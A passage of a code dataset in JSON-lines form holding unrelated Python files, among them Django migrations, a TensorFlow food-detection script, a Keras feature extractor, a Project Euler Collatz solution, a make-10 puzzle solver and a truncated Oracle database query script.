simulated_image\n","sub_path":"hiprmc/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"326977030","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('suitescases', '0005_suitescases_version'),\n    ]\n\n    operations = [\n        migrations.AlterUniqueTogether(\n            name='suitescases',\n            unique_together=set([('company', 'key', 'number')]),\n        ),\n    ]\n","sub_path":"apps/tmt/suitescases/migrations/0006_auto_20160805_2006.py","file_name":"0006_auto_20160805_2006.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"453025000","text":"import numpy as np\r\nimport os\r\nimport six.moves.urllib as urllib\r\nimport sys\r\nimport socket\r\nimport json\r\n#import tarfile\r\nimport tensorflow as tf\r\n#import zipfile\r\n\r\nfrom collections import defaultdict\r\nfrom io import StringIO\r\nfrom matplotlib import pyplot as plt\r\nfrom PIL import Image\r\nimport requests\r\nfrom io import BytesIO\r\n\r\nfrom utils import label_map_util\r\n\r\nfrom utils import visualization_utils as vis_util\r\n\r\nif tf.__version__ < '1.4.0':\r\n\traise ImportError('Please upgrade your tensorflow installation to v1.4.* or later!')\r\n\r\ndef center_coord(max_width,max_height,box):#box is ymin, xmin, ymax, xmax\r\n\t#(left, right, top, bottom) = (box[1] * max_width, box[3] * max_width, box[0] * max_height, box[2] * max_height)\r\n\t#center_x = (left + right) / 2\r\n\t#center_y = (top + bottom) / 2\r\n\tcenter_y = (box[0] + box[2]) / 2\r\n\tcenter_x = (box[1] + box[3]) / 2\r\n\treturn [center_x,center_y]\r\n\r\n#function prepares a json with format 'foodname,center of box coordinate(x,y),certainty percentage'\r\ndef prepare_json(mapping,im_width,im_height,boxes,scores,classes,max_elements=10,min_assurance=.70):\r\n\ttmp_element_array = []\r\n\tcount = 0\r\n\tfor i in range(len(scores)):\r\n\t\tif scores[i] < min_assurance:\r\n\t\t\tbreak\r\n\t\ttemp_dict = {}\r\n\t\ttemp_dict['FoodItem'] = mapping[classes[i]]\r\n\t\ttemp_dict['Coordinates'] = center_coord(im_width,im_height,boxes[i])\r\n\t\ttemp_dict['Score'] = np.asscalar(scores[i])\r\n\t\ttmp_element_array.append(temp_dict)\r\n\t\tcount = count + 1\r\n\t\tif count > 10:\r\n\t\t\tbreak\r\n\tfinal_dict = {}\r\n\tfinal_dict['NumItems'] = count\r\n\tfinal_dict['Items'] = tmp_element_array\r\n\tjson_data = json.dumps(final_dict)\r\n\tprint(json_data)\r\n\treturn json_data.encode('utf-8')\r\n\r\n\t\r\n\r\n# Numpy helper code\r\ndef load_image_into_numpy_array(image):\r\n\t(im_width, im_height) = image.size\r\n\treturn np.array(image.getdata()).reshape(\r\n\t\t(im_height, im_width, 3)).astype(np.uint8)\r\n\r\n    # If you want to test the code with your images, just add path to the images to the TEST_IMAGE_PATHS.\r\n\r\n    # Size, in inches, of the output images.\r\n\r\n    #url = 'https://firebasestorage.googleapis.com/v0/b/prototype-f8b4d.appspot.com/o/SnapNSnack%2Ff28ce575-fefa-4a50-ac70-789d3cbf274d.jpg?alt=media&token=aba0d94c-0e0a-447f-9ac3-e4bffdf79949'\r\n\r\n    # Algorithm to create Tensors, detect the objects, and output an image file with mappings.\r\n\r\ndef analyze_and_return(url):\r\n\tIMAGE_SIZE = (12, 8)\r\n\tcategory_index_2 = label_map_util.get_label_map_dict(PATH_TO_LABELS)\r\n\tfixed_category_index = {v: k for k,v in category_index_2.items()}\r\n\twith detection_graph.as_default():\r\n\t\twith tf.Session(graph=detection_graph) as sess:\r\n\t\t\t# Definite input and output Tensors for detection_graph\r\n\t\t\timage_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\r\n\t\t\t# Each box represents a part of the image where a particular object was detected.\r\n\t\t\tdetection_boxes = detection_graph.get_tensor_by_name('detection_boxes:0')\r\n\t\t\t# Each score represent how level of confidence for each of the objects.\r\n\t\t\t# Score is shown on the result image, together with the class label.\r\n\t\t\tdetection_scores = detection_graph.get_tensor_by_name('detection_scores:0')\r\n\t\t\tdetection_classes = detection_graph.get_tensor_by_name('detection_classes:0')\r\n\t\t\tnum_detections = detection_graph.get_tensor_by_name('num_detections:0')\r\n\t\t\t# Don't want a for-loop in final version\r\n\t\t\tresponse = requests.get(url)\r\n\t\t\timage = Image.open(BytesIO(response.content)) #change later so raw image file, rather than file path\r\n\t\t\t# the array based representation of the image will be used later in order to prepare the\r\n\t\t\t# result image with boxes and labels on it.\r\n\t\t\timage_np = load_image_into_numpy_array(image)\r\n\t\t\t# Expand dimensions since the model expects images to have shape: [1, None, None, 3]\r\n\t\t\timage_np_expanded = np.expand_dims(image_np, axis=0)\r\n\t\t\t# Actual detection.\r\n\t\t\t(boxes, scores, classes, num) = sess.run(\r\n\t\t\t\t[detection_boxes, detection_scores, detection_classes, num_detections],\r\n\t\t\t\tfeed_dict={image_tensor: image_np_expanded})\r\n\t\t\t# Visualization of the results of a detection.\r\n\t\t\t\t\r\n\t\t\t(im_width, im_height) = image.size\r\n\t\t\t#plt.figure(figsize=IMAGE_SIZE)\r\n\t\t\t#plt.imsave(imgout,image_np)\r\n\t\t\t#print(np.squeeze(boxes))\r\n\t\t\t#print(boxes)\r\n\t\t\t#print(np.squeeze(classes).astype(np.int32))\r\n\t\t\treturn prepare_json(fixed_category_index,im_width,im_height,np.squeeze(boxes),np.squeeze(scores),np.squeeze(classes).astype(np.int32))\r\n\r\n\r\n#sys.path.append(\"..\")\r\n\r\nMODEL_NAME = sys.argv[1]\r\n\r\n# Path to frozen detection graph. This is the actual model that is used for the object detection.\r\nPATH_TO_CKPT = MODEL_NAME + '/frozen_inference_graph.pb'\r\n\r\n# List of the strings that is used to add correct label for each box.\r\n#PATH_TO_LABELS = os.path.join('training', 'object-detection.pbtxt')\r\nPATH_TO_LABELS = MODEL_NAME + '/object-detection.pbtxt'\r\n\r\n# Modify this as you add classes\r\n#NUM_CLASSES = 2\r\n\r\n#in order to make server modular, use dynamic way to find num_classes\r\nwith open(PATH_TO_LABELS,'r') as content_file:\r\n\tcontent = content_file.read()\r\nNUM_CLASSES = content.count('item{')\r\n\r\n\r\n# Loads the frozen model into memory\r\ndetection_graph = tf.Graph()\r\nwith detection_graph.as_default():\r\n\tod_graph_def = tf.GraphDef()\r\n\twith tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\r\n\t\tserialized_graph = fid.read()\r\n\t\tod_graph_def.ParseFromString(serialized_graph)\r\n\t\ttf.import_graph_def(od_graph_def, name='')\r\n\r\n# Loads the label map\r\nlabel_map = label_map_util.load_labelmap(PATH_TO_LABELS)\r\ncategories = label_map_util.convert_label_map_to_categories(label_map, max_num_classes=NUM_CLASSES, use_display_name=True)\r\ncategory_index = label_map_util.create_category_index(categories)\r\n#socket portion\r\n\r\nurl = 'https://firebasestorage.googleapis.com/v0/b/prototype-f8b4d.appspot.com/o/SnapNSnack%2Ff28ce575-fefa-4a50-ac70-789d3cbf274d.jpg?alt=media&token=aba0d94c-0e0a-447f-9ac3-e4bffdf79949'\r\nanalyze_and_return(url)\r\n\r\n","sub_path":"first_server_test_no_inet.py","file_name":"first_server_test_no_inet.py","file_ext":"py","file_size_in_byte":5887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"176692206","text":"from turtle import *\nfrom PIL import Image\nTurtleScreen._RUNNING=True\nX=1280;Y=1024\nscreen = Screen()\nscreen.setup(X,Y)\nscreen.bgpic('bw.gif')\na=Turtle()\na.shape(\"turtle\")\na.rt(90)\na.fd(230)\na.rt(-90)\na.fd(230)\nfor i in range(4):\n    a.rt(-90)\n    a.fd(470)\n    \n\n","sub_path":"師大計算機課程/turtle_001.py","file_name":"turtle_001.py","file_ext":"py","file_size_in_byte":264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"336928481","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/jennyq/.pyenv/versions/venv_t12/lib/python3.7/site-packages/tendenci/apps/redirects/templatetags/redirect_tags.py\n# Compiled at: 2020-02-26 14:48:40\n# Size of source mod 2**32: 854 bytes\nfrom django.template import Library\nregister = Library()\n\n@register.inclusion_tag('redirects/options.html', takes_context=True)\ndef redirect_options(context, user, redirect):\n    context.update({'opt_object':redirect, \n     'user':user})\n    return context\n\n\n@register.inclusion_tag('redirects/nav.html', takes_context=True)\ndef redirect_nav(context, user, redirect=None):\n    context.update({'nav_object':redirect, \n     'user':user})\n    return context\n\n\n@register.inclusion_tag('redirects/top_nav_items.html', takes_context=True)\ndef redirect_current_app(context, user, redirect=None):\n    context.update({'app_object':redirect, \n     'user':user})\n    return context\n\n\n@register.inclusion_tag('redirects/search-form.html', takes_context=True)\ndef redirect_search(context):\n    return context","sub_path":"pycfiles/tendenci-12.0.5-py3-none-any/redirect_tags.cpython-37.py","file_name":"redirect_tags.cpython-37.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"550356657","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('users', '0002_auto_20150802_2146'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Challenge',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(max_length=32)),\n                ('created_on', models.DateTimeField(auto_now_add=True)),\n                ('starts_on', models.DateTimeField()),\n                ('ends_on', models.DateTimeField()),\n                ('entry_fee', models.DecimalField(max_digits=8, decimal_places=2)),\n                ('aggregated', models.BooleanField(default=False)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='ChallengeType',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('challenge_name', models.CharField(max_length=64)),\n                ('rules', models.TextField()),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Effort',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('value', models.DecimalField(max_digits=8, decimal_places=2)),\n                ('completed_on', models.DateTimeField()),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Entry',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('entered_on', models.DateTimeField(auto_now_add=True)),\n                ('active', models.BooleanField(default=True)),\n                ('can_activate', models.BooleanField(default=True)),\n                ('efforts', models.ForeignKey(related_name='entry', to='challenges.Effort')),\n                ('entrant', models.ForeignKey(related_name='challenges_entered', to='users.BetfitUser')),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Metric',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(max_length=32)),\n                ('unit', models.CharField(max_length=16)),\n            ],\n        ),\n        migrations.AddField(\n            model_name='effort',\n            name='metric',\n            field=models.ForeignKey(related_name='efforts', to='challenges.Metric'),\n        ),\n        migrations.AddField(\n            model_name='challengetype',\n            name='metric',\n            field=models.ForeignKey(related_name='challenge_types', to='challenges.Metric'),\n        ),\n        migrations.AddField(\n            model_name='challenge',\n            name='challenge_type',\n            field=models.ForeignKey(related_name='instances', to='challenges.ChallengeType'),\n        ),\n        migrations.AddField(\n            model_name='challenge',\n            name='created_by',\n            field=models.ForeignKey(related_name='challenges_created', to='users.BetfitUser'),\n        ),\n        migrations.AddField(\n            model_name='challenge',\n            name='entries',\n            field=models.ForeignKey(related_name='challenges_entered', to='challenges.Entry', null=True),\n        ),\n        migrations.AddField(\n            model_name='challenge',\n            name='winner',\n            field=models.ForeignKey(related_name='challenges_won', to='challenges.Entry', null=True),\n        ),\n    ]\n","sub_path":"api/challenges/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"575374529","text":"import pdb\r\nfrom math import log\r\nimport numpy as np\r\nimport scipy.io as sio\r\nfrom sklearn.cluster import KMeans\r\n\r\n\r\nstep = 0.25;\r\nn_dim = 2;\r\ninitial_partition = 1;\r\nexponents = np.arange(1, 4, step);\r\npartitions = 10**(exponents);\r\n#partitions = [10, 100, 1000, 10000, 177.8279, 1778.2794, 17.7828, 3162.2777, 316.2278, 31.6228, 56.2341, 562.3413, 5623.4133]\r\npartitions = [10, 17.7828, 31.6228, 56.2341, 100, 177.8279, 316.2278, 562.3413, 1000, 1778.2794, 3162.2777, 5623.4133]\r\nentropy_rate = [0]*len(partitions);\r\ncoarse_graining_factor = 20 # For training kmeans\r\ntau = 400\r\nfor idx in range(0,len(partitions)):\r\n    print(str(partitions[idx]) + ' of ' + str(partitions[-1]),flush=True)\r\n    n_partitions = int(np.round(partitions[idx]));\r\n    ###########\r\n    #n_partitions = 10\r\n    ###########\r\n    x = [];\r\n    transition_matrix = np.zeros((n_partitions,n_partitions))\r\n    \r\n    for i in range(0,20):\r\n        dat = sio.loadmat('coordinates_overdamped_0.8/X/' + str(10) + '/x_' + str(i+1) + '.mat')\r\n        x.append(dat['X'])\r\n    ############\r\n    partitions[idx] = 10\r\n    ############\r\n    x = np.hstack(x)\r\n\r\n    \r\n    # Train kmeans on a subset of samples\r\n    idx_array = np.arange(0,x.shape[1])\r\n    idx_array = np.random.permutation(idx_array)\r\n    idx_array = idx_array[np.arange(0,x.shape[1],coarse_graining_factor)]\r\n    training_set = x[0][idx_array]\r\n    training_set = training_set.reshape(len(training_set),1)\r\n    kmeans_object = KMeans(n_clusters=n_partitions, init='k-means++', random_state=0).fit(training_set);\r\n    print('Finished clustering')\r\n    # Predict labels and centers of cluster\r\n    c = kmeans_object.cluster_centers_\r\n    #c_idx = kmeans_object.labels_\r\n    c_idx = kmeans_object.predict(x.T)\r\n    C = {}; C_idx = {}; C['center'] = c; C_idx['indices'] = c_idx;\r\n    #sio.savemat('data/centers.mat', C)\r\n    #sio.savemat('data/cluster_indices.mat',C_idx)\r\n    coordinates = {}\r\n    coordinates['X'] = x\r\n    #sio.savemat('data/coordinates.mat',coordinates)\r\n    for i in range(1,x.shape[1]-tau):\r\n        #if ((i+1)%500000 == 0):\r\n        #    continue\r\n        transition_matrix[c_idx[i-1],c_idx[i+tau]] = transition_matrix[c_idx[i-1],c_idx[i+tau]] + 1;\r\n    normalization_matrix = np.reshape(np.sum(transition_matrix,1),(n_partitions,1))\r\n    transition_matrix = transition_matrix/np.tile(normalization_matrix,(1,n_partitions))\r\n    print('Transition matrix evaluated')\r\n    \r\n    transition = {}\r\n    #equilibrium_probability = {}\r\n    transition['matrix']  = transition_matrix\r\n    #equilibrium_probability['eq_prob'] = eq_probability\r\n    w,v = np.linalg.eig(transition_matrix)\r\n    eigen = {}\r\n    eigen['eigenvalues'] = w\r\n    sio.savemat('data/eigenvalues_'+str(idx)+'.mat',eigen)\r\n    sio.savemat('data/transition_matrix'+str(idx)+'.mat',transition)\r\n    #sio.savemat('data/eq_probability'+str(idx)+'.mat',equilibrium_probability)\r\nentropy = {}\r\nentropy['entropy_rate'] = entropy_rate\r\nsio.savemat('entropy.mat',entropy)\r\n","sub_path":"1_D_matrix.py","file_name":"1_D_matrix.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"628300276","text":"class MonophonicBlock(ProcessingBlock):\r\n\r\n\r\n    def __init__(self, model, midi_chain_ctrl, main_ctrl, index):\r\n\r\n        super(MonophonicBlock, self).__init__(model, midi_chain_ctrl, main_ctrl, index)\r\n\r\n        #Monophonic block variables\r\n\r\n        self._last_on_note = None\r\n\r\n\r\n    def add_to_input_buffer(self, midi_note):\r\n\r\n\r\n        super(MonophonicBlock, self).add_to_input_buffer(midi_note)\r\n\r\n        if len(self._input_buffer) > 0:\r\n\r\n            \"Midi notes in input buffer\"\r\n\r\n            for i in range(0, len(self._input_buffer)):\r\n\r\n                if self._input_buffer[i][0] == 'off':\r\n\r\n                    \"This is an off note\"\r\n\r\n                    \"Check to see if it is for the _last_on_note\"\r\n\r\n                    if self._input_buffer[i][1] == self._last_on_note:\r\n\r\n                        \"Off note for _last_on_note\"\r\n\r\n                        self._last_on_note = None\r\n\r\n                    \"Add the off note to the output buffer\"\r\n\r\n                    self.add_to_ouput_buffer(self._input_buffer[i])\r\n\r\n                else:\r\n\r\n                    \"This is an on note\"\r\n\r\n                    if self._input_buffer[i][1] != self._last_on_note:\r\n\r\n                        \"New on note\"\r\n\r\n                        \"Send off midi note for _last_on_note\"\r\n                        self.add_to_ouput_buffer(('off', self._last_on_note))\r\n\r\n                        \"Send on midi note through to output buffer\"\r\n                        self.add_to_ouput_buffer(self._input_buffer[i])\r\n\r\n                        self._last_on_note = self._input_buffer[i][1]\r\n\r\n            self.output_output_buffer()\r\n\r\n","sub_path":"ctrls/IndividualBlockCode/monophonic_block.py","file_name":"monophonic_block.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"222286040","text":"from keras.applications.xception import Xception\nfrom keras.models import Model\nfrom keras.layers import GlobalAveragePooling2D, Activation, Input\nfrom keras import backend as K\nimport numpy as np\nimport os\nimport sys\nfrom skimage.io import imread\nfrom skimage.transform import resize\nimport argparse\nfrom utils import save_json, data_generator, EXPECT_SIZE\n\nEXTRACT_LAYER = 132\nSAVE_EVERY = 20\n\n        \n\n            \n\ndef get_activations(model, layer, X_batch):\n    get_activations = K.function([model.layers[0].input, K.learning_phase()], [model.layers[layer].output])\n    activations = get_activations([X_batch,0])\n    return activations\n\n\n\nclass Extracter():\n    def __init__(self, data_dir, batch_size, weights):\n        self.weights = weights\n        self.data_dir = data_dir\n        self.batch_size = batch_size\n        self.model = self._build()\n        if self.weights != 'imagenet':\n            print(\"loading weights {}\".format(self.weights))\n            self.model.load_weights(self.weights, by_name=True, skip_mismatch=True)\n        \n    def _build(self):\n        print(\"building Xception model\")\n        base_model = Xception(weights='imagenet', include_top=False, input_tensor=Input(shape = EXPECT_SIZE))\n        x = base_model.output\n        x = GlobalAveragePooling2D(name='avg_pool')(x)\n        model = Model(inputs = base_model.input, outputs = x)\n        return model\n    \n\n        \n    def _save(self):\n        feature_path = \"deep_feature/{}.npy\".format(self.base_name)\n        print(\"saving feature to {}\".format(feature_path))\n        np.save(feature_path, np.concatenate(self.feature_l, axis = 0))\n        files_name_path = \"deep_feature/{}.json\".format(self.base_name)\n        print(\"saving files name to {}\".format(files_name_path))\n        save_json(files_name_path, self.image_l)\n                \n    def extract(self):\n        self.base_name = os.path.basename(self.data_dir)\n        data_set = [os.path.join(self.data_dir, file) for file in next(os.walk(self.data_dir))[2] if file.endswith('.jpg')]\n        self.feature_l, self.image_l = [], []\n        cnt = 0\n        total_size = len(data_set)\n        data_g = data_generator(data_set, batch_size = self.batch_size)\n        save_cnt = 0\n        while cnt < total_size:\n            print(\"extracting {} of {}\".format(cnt, total_size))\n            X, task_l = next(data_g)\n            self.image_l.extend(task_l)\n            my_featuremaps = get_activations(self.model, EXTRACT_LAYER, X)\n            self.feature_l.append(my_featuremaps[0])\n            cnt += self.batch_size\n            save_cnt += 1\n            if save_cnt % SAVE_EVERY == 0:\n                self._save()\n                save_cnt = 0\n        self._save()\n\n    \nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser(description='To extract deep feature')\n    parser.add_argument('--data_dir', required=True)\n    parser.add_argument('--gpu', required=False, default='0') \n    parser.add_argument('--batch_size', required=False, default=128)\n    parser.add_argument('--weight_path', required=False, default='imagenet')\n    args = parser.parse_args()\n    \n    os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu\n    \n    ext = Extracter(args.data_dir, args.batch_size, args.weight_path)\n    ext.extract()\n\n    \n    ","sub_path":"deep_feature.py","file_name":"deep_feature.py","file_ext":"py","file_size_in_byte":3267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"381646051","text":"import tkinter as tk\nfrom tkinter import *\nfrom Functions import *\n\ndef adding_words1():\n    print(\"Dupa\")\n\n\n\nclass MainWindow(tk.Frame):\n    def __init__(self,master=None):\n        tk.Frame.__init__(self,master)\n        self.grid()\n        #self.master=master\n        #self.master.geometry('100x100+100+100')\n        self.label1=tk.Label(master,text=\"Insert 1th English word\")\n        self.label1.grid(row=0,column=0)\n\n        self.entry1=tk.Entry(master)\n        self.entry1.grid(row=1,column=0)\n        self.firstEn=self.entry1.get()\n\n        self.label2 = tk.Label(master, text=\"Insert 2nd English meaning\")\n        self.label2.grid(row=2, column=0)\n\n        self.entry2 = tk.Entry(master)\n        self.entry2.grid(row=3, column=0)\n        self.secondEn = self.entry2.get()\n\n        self.label3 = tk.Label(master, text=\"Insert 3rd Eenglish meaning\")\n        self.label3.grid(row=4, column=0)\n\n        self.entry3 = tk.Entry(master)\n        self.entry3.grid(row=5, column=0)\n        self.thirdEn = self.entry3.get()\n\n        self.label4 = tk.Label(master, text=\"Insert 4th English meaning\")\n        self.label4.grid(row=6, column=0)\n\n        self.entry4 = tk.Entry(master)\n        self.entry4.grid(row=7, column=0)\n        self.fourthEn = self.entry4.get()\n\n        self.label5 = tk.Label(master, text=\"Insert 1th Polish meaning\")\n        self.label5.grid(row=8, column=0)\n\n        self.entry5 = tk.Entry(master)\n        self.entry5.grid(row=9, column=0)\n        self.firstPl = self.entry5.get()\n\n\n        self.label6 = tk.Label(master, text=\"Insert 2nd Polish meaning\")\n        self.label6.grid(row=10, column=0)\n\n\n        self.entry6 = tk.Entry(master)\n        self.entry6.grid(row=11, column=0)\n        self.secondPl = self.entry6.get()\n\n        self.label7 = tk.Label(master, text=\"Insert 3rd Polish meaning\")\n        self.label7.grid(row=12, column=0)\n\n        self.entry7 = tk.Entry(master)\n        self.entry7.grid(row=13, column=0)\n        self.thirdPl = self.entry7.get()\n\n        self.label8 = tk.Label(master, text=\"Insert 4th Polish meaning\")\n        self.label8.grid(row=14, column=0)\n\n        self.entry8 = tk.Entry(master)\n        self.entry8.grid(row=15, column=0)\n        self.fourthPl = self.entry8.get()\n\n        self.add_button=Button(master, text=\"Add\")\n        self.add_button.grid(row=16, column=0)\n\n    def adding_words1(self):\n        print(\"Dupa\")\n\n\n\napp = MainWindow()\napp.master.title(\"GRA\")\napp.mainloop()\n\n\n\n","sub_path":"Main_window.py","file_name":"Main_window.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"111497722","text":"\"\"\"\nHackerRank - Project Euler 014\n\nwww.hackerrank.com/contests/projecteuler/challenges/euler014/problem\nhttps://projecteuler.net/problem=14\n\nThe following iterative sequence is defined for the set of positive integers:\n\nn -> n/2        n is even\nn -> 3*n + 1    n is odd\n\nUsing the rule above and starting with 13, we generate the following sequence:\n\n    13 -> 40 -> 20 -> 10 -> 5 -> 16 -> 8 -> 4 -> 2 -> 1\n\nIt can be seen that this sequence (starting at 13 and finishing at 1) contains 10 terms.\nAlthough it has not been proved yet (Collatz Problem),\nit is thought that all starting numbers finish at 1.\n\nWhich starting number, <= N produces the longest chain?\nIf many possible such numbers are there print the maximum one.\n\nNote: Once the chain starts the terms are allowed to go above N.\n\n\"\"\"\nCACHE_SIZE = 5000\nCACHE = [0] * CACHE_SIZE\nCACHE[0] = 1\n\n\ndef collatz(num):\n    if num < CACHE_SIZE and CACHE[num - 1] != 0:\n        return CACHE[num - 1]\n\n    if num % 2:\n        result = 1 + collatz(3*num + 1)\n    else:\n        result = 1 + collatz(num >> 1)\n    if num < CACHE_SIZE:\n        CACHE[num - 1] = result\n    return result\n\n\nfor num in range(2, CACHE_SIZE):\n    collatz(num)\n\nSOLUTIONS = [\n    3732423,\n    3542887,\n    3064033,\n    2298025,\n    1723519,\n    1564063,\n    1501353,\n    1126015,\n    1117065,\n    837799,\n    837799,\n    626331,\n    511935,\n    410011,\n    230631,\n    216367,\n    156159,\n    142587,\n    106239,\n    77031,\n    52527,\n    35655,\n    35497,\n    34239,\n    26623,\n    23529,\n    17673,\n    17647,\n    13255,\n    10971,\n    6171,\n    3711,\n    2919,\n    2463,\n    2323,\n    2322,\n    2223,\n    1161,\n    871,\n    703,\n    667,\n    655,\n    654,\n    649\n]\n\n\ndef main():\n    \"\"\" main \"\"\"\n    T = int(input())\n    for _ in range(T):\n        n = int(input())\n        print(longest_collatz_sequence(n))\n\n\ndef longest_collatz_sequence(number):\n    \"\"\" Solves the problem\"\"\"\n    index = 0\n    while index < len(SOLUTIONS):\n        if number >= SOLUTIONS[index]:\n            return SOLUTIONS[index]\n        index += 1\n\n    longest = 1\n    index = 1\n    for i in range(1, number + 1):\n        current = CACHE[i - 1]\n        if current >= longest:\n            longest = current\n            index = i\n    return index\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"euler/project_euler_014_longest_collatz_sequence.py","file_name":"project_euler_014_longest_collatz_sequence.py","file_ext":"py","file_size_in_byte":2286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"318012578","text":"# coding: utf-8\n\nimport itertools\nfrom tqdm import tqdm\nimport formulaTree as ft\n\nif __name__ == '__main__':\n    obj = 10\n    operators = list('+-*/')\n    print(f'Please input numbers.')\n    print('>', end=' ')\n\n    numInput = [i for i in input().split()]\n    nums = len(numInput)\n    print('Calculating Combinations of Numbers... ', end='')\n    numComb = sorted(list(set(itertools.permutations(numInput))))\n    print(len(numComb))\n\n    print('Calculating Combinations of Operators... ', end='')\n    opeComb = list(itertools.product(operators, repeat = nums - 1))\n    print(len(opeComb))\n\n    print('Calculating Combinations of Operators\\' Position... ', end='')\n    opePosCand = list(itertools.combinations(range(2, nums * 2 - 1), nums - 1))\n    opePosComb = []\n    for opePos in opePosCand:\n        for i in range(len(opePos)):\n            if opePos[i] >= (i + 1) * 2:\n                if i != len(opePos) - 1:\n                    continue\n            else:\n                break\n            opePosComb.append(opePos)\n    print(len(opePosComb))\n\n    print('Generationg Formula...')\n    answers = []\n    it = list(itertools.product(numComb, opeComb, opePosComb))\n\n    pbar = tqdm(iterable = it,\n                desc = 'Evaluating Formula',\n                mininterval = 0.2,)\n    for num, ope, opePos in pbar:\n        formulaList = list(num)\n        for i in range(nums - 1):\n            formulaList.insert(opePos[i], ope[i])\n        formula = ' '.join(formulaList)\n        tree = ft.FormulaTree(RPN=formula)\n        if tree.calc() == 10:\n            answers.append(tree.IN)\n    answers = set(answers)\n    for i in sorted(answers):\n        print(i)\n    print('Total', len(answers), 'solutions have found.')\n\n\n\n","sub_path":"make10.py","file_name":"make10.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"92888616","text":"import cx_Oracle as cx      #导入模块\nimport datetime\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nDATA = [2013,5,4]\ncon = cx.connect('test', 'herron', '127.0.0.1:1521/TestDatabase')  #创建连接\nmon_plt = []\nFINISHED_LIST = []\n\ndef get_init_state():\n    road_id = 409\n    time = [0,9,0]\n    return road_id,time\ndef get_step_state(a):\n    if a == None:\n        return None, None, ''\n    cursor = con.cursor()       #创建游标\n    # print(a)\n    cursor.execute(\"select * from TEM_REQ t where REQUEST_ID = '\" + str(a)+\"'\")  #执行sql语句\n    data = cursor.fetchone()       #获取一条数据\n    cursor.close()  #关闭游标\n    if data:\n        s_num, exp_time, r = data[10], data[4], data[2]\n        return s_num, r, exp_time\n    else:\n        return None, None, ''\ndef choose_action(road_id, time):\n    road_no = road_id\n    cursor = con.cursor()       #创建游标\n    cursor.execute(\"select NEI_ROAD from NEIGHBOR t where PRI_ROAD = \"+str(road_no))  #执行sql语句\n    neigh_road_list = cursor.fetchall()       #获取一条数据\n    cursor.close()  #关闭游标\n    neigh_road_list = [str(x[0]) for x in neigh_road_list]\n    neigh_road_list.append(str(road_no))\n    now_time = datetime.datetime(*(DATA + time))\n    before_time = now_time - datetime.timedelta(minutes=5)\n\n    if now_time.strftime(\"%Y-%m-%d\") != before_time.strftime(\"%Y-%m-%d\"):\n        before_time = datetime.datetime(*(DATA))\n    \n    wait = 0\n    while True:\n        wait += 1\n        later_time = now_time + datetime.timedelta(minutes=(5*wait))\n        if now_time.strftime(\"%Y-%m-%d\") != later_time.strftime(\"%Y-%m-%d\"):\n            print(now_time.strftime(\"%Y-%m-%d\"), later_time.strftime(\"%Y-%m-%d\"))\n            print(\"一天结束\")\n            return None\n        cursor = con.cursor()       #创建游标\n        placeholders = ','.join(\":%d\" % i for i,_ in enumerate(neigh_road_list))\n        sql = (\"select * from TEM_REQ t where on_time > '\"\n            + before_time.strftime(\"%H:%M:%S\") + \"' and on_time < '\"\n            + later_time.strftime(\"%H:%M:%S\")+\"' and day_no = '\" \n            + now_time.strftime(\"%Y-%m-%d\") +\"' and start_road in (%s)\" % placeholders)\n        # print(sql)\n        # print(neigh_road_list)\n        cursor.execute(sql,neigh_road_list)  #执行sql语句\n        # data = cursor.fetchone()        #获取一条数据\n        data = cursor.fetchall()       #获取全���数据\n        cursor.close()  #关闭游标\n    